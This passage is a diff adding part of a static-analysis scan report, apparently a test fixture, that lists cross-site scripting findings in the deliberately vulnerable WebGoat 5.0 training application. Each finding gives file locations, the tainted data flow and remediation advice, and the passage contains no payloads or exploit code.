+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"63\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"84\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"15\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"62\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"77\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"161\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"58\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"20\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"128\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"268\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"123\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"62\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"24\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"3\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"43\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"7\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getAddress1().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, javax.servlet.servletrequest.getparametervalues,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"66\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
